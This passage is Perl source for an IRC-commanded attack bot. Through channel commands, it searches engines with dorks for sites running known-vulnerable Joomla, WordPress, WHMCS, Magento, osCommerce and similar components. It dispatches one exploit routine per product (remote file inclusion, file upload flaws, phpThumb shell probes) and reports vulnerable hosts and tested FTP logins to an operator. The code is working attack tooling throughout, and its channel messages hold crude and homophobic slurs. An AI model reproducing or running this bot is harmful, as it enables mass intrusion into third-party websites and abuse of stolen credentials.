my ($bug,$dork) = ("/components/com_alphauserpoints/assets/phpThumb/phpThumb.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","$alplogo3 $nick, 4Dont try re-scan dork "); exit;
} else {
&msg("$path","$alplogo 12Dork7 :4 $dork ");
&msg("$path","$alplogo 6Search Engine Loading ...");
&se_start($path,$bug,$dork,$engine,32,$nick);
&write_dorks($dork);
}
}
}
}
##############################################################################################
if ($msg =~ /^$actcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/components/com_alphacontent/assets/phpThumb/phpThumb.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","$actlogo3 $nic k, 4Dont try re-scan dork "); exit;
} else {
&msg("$path","$actlogo 12Dork7 :4 $dork ");
&msg("$path","$actlogo 6Search Engine Loading ...");
&se_start($path,$bug,$dork,$engine,33,$nick);
&write_dorks($dork);
}
}
}
}
##############################################################################################
if ($msg =~ /^$horcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/components/com_hotornot2/phpThumb/phpThumb.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","$horlogo3 $nick, 4Dont try re-scan dork "); exit;
} else {
&msg("$path","$horlogo 12Dork7 :4 $dork ");
&msg("$path","$horlogo 6Search Engine Loading ...");
&se_start($path,$bug,$dork,$engine,34,$nick);
&write_dorks($dork);
}
}
}
}
if (&isAdmin($nick) && $msg =~ /^$xmlcmd\s+(.+?)\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ($1,$2);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1 Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4$path ");
&msg("$path","14scanning xml started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,8,$nick);
}
}
}
}
if ($msg =~ /^$clipcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/admin_area/charts/ofc-library/ofc_upload_image.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1 Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4$path ");
&msg("$path","4,1scanning clip bucket started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,9,$nick);
}
}
}
}
if ($msg =~ /^$fabcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","$fablogo3 $nick, 4 Gay Dont try re-scan dork "); exit;
} else {
&msg("$path","$fablogo 12Dork7 :4 $dork ");
&msg("$path","$fablogo 6Search Engine Loading ...");
&se_start($path,$bug,$dork,$engine,29,$nick);
&write_dorks($dork);
}
}
}
}
if ($msg =~ /^$redcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/administrator/components/com_redmystic/chart/ofc-library/ofc_upload_image.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4$path ");
&msg("$path","14scanning redmystic started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,10,$nick);
}
}
}
}
if (&isAdmin($nick) && $msg =~ /^$whmcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/cart.php?a=byroe&templatefile=",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","14,1@4,1$nick 3Coli fucking on 0,1$path ");
&msg("$path","4,1scanning whmcs started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,11,$nick);
}
}
}
}
if ($msg =~ /^$livecmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("library/openFlashChart/ofc_upload_image.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1scanning livecart started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,12,$nick);
}
}
}
}
if (&isAdmin($nick) && $msg =~ /^$refcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1scanning reflex gallery started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,13,$nick);
}
}
}
}
if (&isAdmin($nick) && $msg =~ /^$oscocmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $dork = $1;
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1scanning oscommerce started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,14,$nick);
}
}
}
}
if ($msg =~ /^$switchcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("wp-content/themes/switchblade/framework/_scripts/valums_uploader/php.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1scanning switchblade started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,15,$nick);
}
}
}
}
if ($msg =~ /^$photocmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("assets/uploadify/old/uploadify.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1scanning photostore started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,16,$nick);
}
}
}
}
if ($msg =~ /^$elemincmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("wp-content/themes/elemin/themify/themify-ajax.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1scanning elemin started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,17,$nick);
}
}
}
}
if ($msg =~ /^$revcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $dork = $1;
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1scanning RevSlider started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,18,$nick);
}
}
}
}
if ($msg =~ /^$rescmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("wp-admin/admin-ajax.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1scanning RevSlider Upload started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,25,$nick);
}
}
}
}
if ($msg =~ /^$foliocmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("administrator/components/com_bt_portfolio/helpers/uploadify/uploadify.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1scanning folioway started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,19,$nick);
}
}
}
}
if ($msg =~ /^$rcicmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/php-ofc-library/ofc_upload_image.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");;
&msg("$path","4,1scanning rci started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,20,$nick);
}
}
}
}
if ($msg =~ /^$rficmd\s+(.+?)\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ($1,$2);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1scanning rfi started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,4,$nick);
}
}
}
}
if ($msg =~ /^$upcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/includes/uploadify/upload_settings_image.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1Scanning uploadify started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,21,$nick);
}
}
}
}
if ($msg =~ /^$jinccmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1scanning jinc started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,22,$nick);
}
}
}
}
if ($msg =~ /^$jnewscmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1scanning jnews started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,23,$nick);
}
}
}
}
if ($msg =~ /^$mgcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $dork = $1;
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Gay Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1scanning Magento started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,26,$nick);
}
}
}
}
if ($msg =~ /^$mg2cmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("Logo Design by dewi",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","4,1$nick 0,1Re-scan detected"); exit;
} else {
&msg("$chanxxx","4,1@4,1$nick 0,1Coli fucking on 4,1$path ");
&msg("$path","4,1scanning MagMi started...");
sendraw("MODE $path +m");
&write_dorks($dork);
&se_start($path,$bug,$dork,$engine,27,$nick);
}
}
}
}
if ($msg =~ /^$jdlcmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my ($bug,$dork) = ("/index.php?option=com_jdownloads&Itemid=0&view=upload",$1);
my $check = &read_dorks($dork);
if ($check == 1) {
&msg("$path","$jdllogo3 $nick, 4Dont try re-scan dork "); exit;
} else {
&msg("$path","$jdllogo 12Dork7 :4 $dork ");
&msg("$path","$jdllogo 6Search Engine Loading ...");
&se_start($path,$bug,$dork,$engine,28,$nick);
&write_dorks($dork);
}
}
}
}
if ($msg =~ /^$osco2cmd\s+(.*)/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $dork = $1;
&msg("$chanxxx","4,1Bosss...0,1 Lapor4,1 $nick0,1 lagi scan tuh di 4,1$path ");
&msg("$path","$oscologo4,1Dork0,1 $dork ");
#&msg("$path","$oscologo4WARNING6 :15,1 nahh kan indah semua pada akhir nya... !!!9,1 Okay");
sendraw("MODE $path +m");
&se_start($path,$bug,$dork,$engine,24,$nick);
}
}
}
if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
my $url = $_[0];
my $host = $_[1];
my $user = $_[2];
my $pass = $_[3];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) { exit; } else {
my ($host,$user,$pass) = ($1,$2,$3);
&msg("$path","4,1[0,1!4,1]FTP 0,1<4,1=0,1>4,1 Checking $host | $user:$pass");
my $success = 1;
use Net::FTP;
my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
$success = 0 if $ftp->login($user,$pass);
$ftp->quit;
if ($success == 0) {
¬ice("$admin","4,1 [0,1FTP4,1] [ 0,1http://".$host." 4,1] [".$user.":".$pass."0,1] 4,1Success ");
} else {
¬ice("$admin","4,1 [0,1FTP4,1] [ 0,1http://".$host." 4,1] [".$user.":".$pass."0,1] 4,1Denied ");
}
}
}
}
}
}
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line = $line_temp.$line if ($line_temp);
$line_temp = '';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
##################################################################################
sub magic() {
my $dork = $_[0];
my @targets;
for (my $st=0; $st<=1000 ; $st+=100){
my $engine = "http://www.google.com/search?q=".uri_escape($dork)."&num=100&start=".$st;
my $browser = &search_engine_query($engine);
while ($browser =~ m/ 0) {
foreach my $site(@target) {
$count++;
if ($count == $num-1) {
&msg("$chan","$carilogo4,1Finished 0,1for 4,1$dork ");
}
my $test = "http://".$site.".php?src=".$thumbshell;
if (my $pid = fork) { waitpid($pid, 0); } else {
if (fork) { exit; } else {
my $coba = &get_content($test);
if ($coba =~ /Unable to open image/) {
&msg($chan,"$carilogo4,1 VulN 0,1-> 4,1 http://".$site.".php ");
}
} exit;
}
}
}
}
sub type() {
my ($chan,$bug,$dork,$engine,$type,$nick) = @_;
if ($type == 1){$type=&thumb_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 2){$type=&lfi_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 3){$type=&e107_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 4){$type=&zero_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 5){$type=&mmfc_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 6){$type=&zen_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 6){$type=&zen2_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 6){$type=&zen_sql($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 7){$type=&jce_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 8){$type=&xml_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 9){$type=&clip_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 10){$type=&red_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 11){$type=&whm_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 12){$type=&live_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 13){$type=&reflex_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 14){$type=&osco_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 15){$type=&switch_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 16){$type=&photo_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 17){$type=&elemin_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 18){$type=&RevSlider_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 18){$type=&RevSlider2_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 19){$type=&folio_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 20){$type=&rci_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 21){$type=&up_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 22){$type=&jinc_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 23){$type=&jnews_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 24){$type=&osco2_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 25){$type=&rev_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 26){$type=&magento($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 27){$type=&magmi_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 28){$type=&jdl_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 29){$type=&fab_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 30){$type=&flexi_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 31){$type=&jmulti_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 32){$type=&alpha_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 33){$type=&act_exploit($chan,$bug,$dork,$engine,$nick);}
elsif ($type == 34){$type=&hornot_exploit($chan,$bug,$dork,$engine,$nick);}
}
##################################################################################
sub se_start() {
my ($chan,$bug,$dork,$engine,$type,$nick) = @_;
if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCA",$type,$nick); } exit; } }
if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDE",$type,$nick); } exit; } }
if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUK",$type,$nick); } exit; } }
if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeFR",$type,$nick); } exit; } }
if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeES",$type,$nick); } exit; } }
if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIT",$type,$nick); } exit; } }
if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNL",$type,$nick); } exit; } }
if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBE",$type,$nick); } exit; } }
if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCH",$type,$nick); } exit; } }
if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSE",$type,$nick); } exit; } }
if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDK",$type,$nick); } exit; } }
if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNO",$type,$nick); } exit; } }
if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNZ",$type,$nick); } exit; } }
if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIE",$type,$nick); } exit; } }
if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBR",$type,$nick); } exit; } }
if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAR",$type,$nick); } exit; } }
if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCO",$type,$nick); } exit; } }
if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCU",$type,$nick); } exit; } }
if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCL",$type,$nick); } exit; } }
if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMX",$type,$nick); } exit; } }
if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAU",$type,$nick); } exit; } }
if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRU",$type,$nick); } exit; } }
if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAT",$type,$nick); } exit; } }
if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePL",$type,$nick); } exit; } }
if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIL",$type,$nick); } exit; } }
if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTR",$type,$nick); } exit; } }
if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUA",$type,$nick); } exit; } }
if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGR",$type,$nick); } exit; } }
if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeJP",$type,$nick); } exit; } }
if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCN",$type,$nick); } exit; } }
if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMY",$type,$nick); } exit; } }
if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTH",$type,$nick); } exit; } }
if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIN",$type,$nick); } exit; } }
if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKR",$type,$nick); } exit; } }
if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRO",$type,$nick); } exit; } }
if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTW",$type,$nick); } exit; } }
if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeZA",$type,$nick); } exit; } }
if ($engine =~ /googlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePT",$type,$nick); } exit; } }
if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKCA",$type,$nick); } exit; } }
if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDE",$type,$nick); } exit; } }
if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKIT",$type,$nick); } exit; } }
if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKFR",$type,$nick); } exit; } }
if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKES",$type,$nick); } exit; } }
if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKRU",$type,$nick); } exit; } }
if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNL",$type,$nick); } exit; } }
if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKUK",$type,$nick); } exit; } }
if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKBR",$type,$nick); } exit; } }
if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKPL",$type,$nick); } exit; } }
if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAU",$type,$nick); } exit; } }
if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAT",$type,$nick); } exit; } }
if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKJP",$type,$nick); } exit; } }
if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKSE",$type,$nick); } exit; } }
if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKMX",$type,$nick); } exit; } }
if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNO",$type,$nick); } exit; } }
if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDK",$type,$nick); } exit; } }
if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDE",$type,$nick); } exit; } }
